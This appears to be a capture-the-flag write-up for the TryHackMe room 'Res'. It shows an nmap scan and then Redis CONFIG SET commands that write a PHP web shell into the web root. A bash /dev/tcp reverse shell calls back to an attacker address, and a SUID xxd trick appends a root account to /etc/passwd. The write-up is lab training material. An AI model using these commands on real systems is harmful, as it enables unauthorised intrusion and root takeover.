THM - Res

Check it out at TryHackMe Res

Room created by the one and only stuxnet, TryHackMe profile

Res is an excellent Linux box, introducing you to a way to exploit Redis to get RCE.

Recon

Nmap scan

james@ninja:~$ nmap -sV -v -p- 10.10.105.18
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-30 21:08 GMT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 21:08
Scanning 10.10.105.18 [2 ports]
Completed Ping Scan at 21:08, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:08
Completed Parallel DNS resolution of 1 host. at 21:08, 0.03s elapsed
Initiating Connect Scan at 21:08
Scanning 10.10.105.18 [65535 ports]
Discovered open port 80/tcp on 10.10.105.18
Discovered open port 6379/tcp on 10.10.105.18
Completed Connect Scan at 21:08, 37.40s elapsed (65535 total ports)
Initiating Service scan at 21:08
Scanning 2 services on 10.10.105.18
Completed Service scan at 21:08, 6.08s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.105.18.
Initiating NSE at 21:08
Completed NSE at 21:08, 0.17s elapsed
Initiating NSE at 21:08
Completed NSE at 21:08, 0.13s elapsed
Nmap scan report for 10.10.105.18
Host is up (0.034s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
6379/tcp open  redis   Redis key-value store 6.0.7

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.01 seconds

From our initial recon, we have two ports open. Apache, and Redis.

Web

From a gobuster scan with dirb big and dirbuster medium, we find nothing. Nothing isn't very interesting, so let's move on

Let's talk about Redis

Now I've heard Redis mentioned before, but I had no idea what it was. From some research, it's used as something between a database and a cache.

Now it's best to start enumerating Redis. Let's see what we can do!

After installing redis-tools we can try to connect to Redis without credentials. Hopefully in the real world, exposed redis instances should have a password or other authentication set up, but this one didn't!

Looking into Redis RCE gave me this resource. At a guess, I assumed we were able to write to /var/www/html as we are likely to be able to convert file writes to RCE using this as there's a webserver with Apache.

By writing a PHP file using redis, we can then navigate to it in our browser to cause Apache to run the code. In this case, we're starting out with phpinfo to check our RCE. Then we can move on to trying reverse shells.

james@ninja:~$ redis-cli -h 10.10.105.18
10.10.105.18:6379> help
redis-cli 6.0.8
To get help about Redis commands type:
        "help @" to get a list of commands in 
        "help " for help on 
        "help " to get a list of possible help topics
        "quit" to exit

To set redis-cli preferences:
        ":set hints" enable online hints
        ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
10.10.105.18:6379> config set dir /var/www/html/
OK
10.10.105.18:6379> config set dbfilename redis.php
OK
10.10.105.18:6379> set test ""
OK
10.10.105.18:6379> save
OK
10.10.105.18:6379> set test '&1|nc 10.x.x.x 4242 >/tmp/f")?>'
OK
10.10.105.18:6379> save
OK
10.10.105.18:6379> set test "&1|nc 10.x.x.x 4242 >/tmp/f\")?>"
OK
10.10.105.18:6379> save
OK
10.10.105.18:6379> set test "& /dev/tcp/10.x.x.x/4242 0>&1'\"); ?>"
OK
10.10.105.18:6379> save
OK
10.10.105.18:6379> exit

That last payload worked, and we got a connection in our netcat listener. I recommend using rlwrap, as it allows you to use arrow keys in your reverse shell more easily

james@ninja:~$ rlwrap nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.105.18] 46706
bash: cannot set terminal process group (760): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ 

Privesc

We're a low priv user, so let's start enumerating to attempt to get some more permissions. As we're www-data and SSH isn't open, we can't use SSH to get a more stable shell so we'll have to stick with this for now.

www-data@ubuntu:/var/www/html$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;           
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 Jan 27  2020 /bin/mount
-rwsr-xr-x 1 root root 40128 Mar 26  2019 /bin/su
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 Jan 27  2020 /bin/umount
-rwsr-xr-x 1 root root 71824 Mar 26  2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 18552 Mar 18  2020 /usr/bin/xxd
-rwsr-xr-x 1 root root 39904 Mar 26  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 136808 Jan 31  2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 54256 Mar 26  2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 75304 Mar 26  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40432 Mar 26  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 42992 Jun 11 13:06 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-r-sr-xr-x 1 root root 13628 Sep  1 17:25 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Sep  1 17:25 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper

Using the find command, I found that xxd had the SUID bit set. Let's try to exploit this!

Checking the GTFOBins entry for xxd reveals that we have arbitrary file read and write as root.

File read/write as root is great, we can grab the root flag right now if we want. Just getting the root flag isn't very interesting, and OSCP and similar certifications expect you to get a root shell.

We can write to any file on the system. Exploiting this, we can add our own root user to /etc/passwd and log in. As always, PayloadsAllTheThings to the rescue here! It's worth remembering that we need to upgrade our shell using python here so that we can use su or sudo.

www-data@ubuntu:/tmp$ cat /etc/passwd > passwd
www-data@ubuntu:/tmp$ echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> passwd                      
www-data@ubuntu:/tmp$ cat /tmp/passwd | xxd | xxd -r - /etc/passwd
www-data@ubuntu:/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/tmp$ su hacker
Password: hacker
root@ubuntu:/tmp# 

Alternately, we could have created an /etc/sudoers entry to grant ourself sudo rights.

Getting the user's password

I'm sure the intended method was cracking this password first, and then using it to privesc with the ALL ALL sudo. As we had arbitrary file read as root, we could have dumped the shadow file earlier on and attempted to crack hashes

From our root shell, we can cat /etc/shadow, grab vianka's password hash and use John The Ripper or Hashcat to crack it. On my laptop, this took 1 second to crack so if it's taking much longer for you then something might be going wrong

I really enjoyed this box from stuxnet, and I'm looking forward to more excellent quality boxes from them!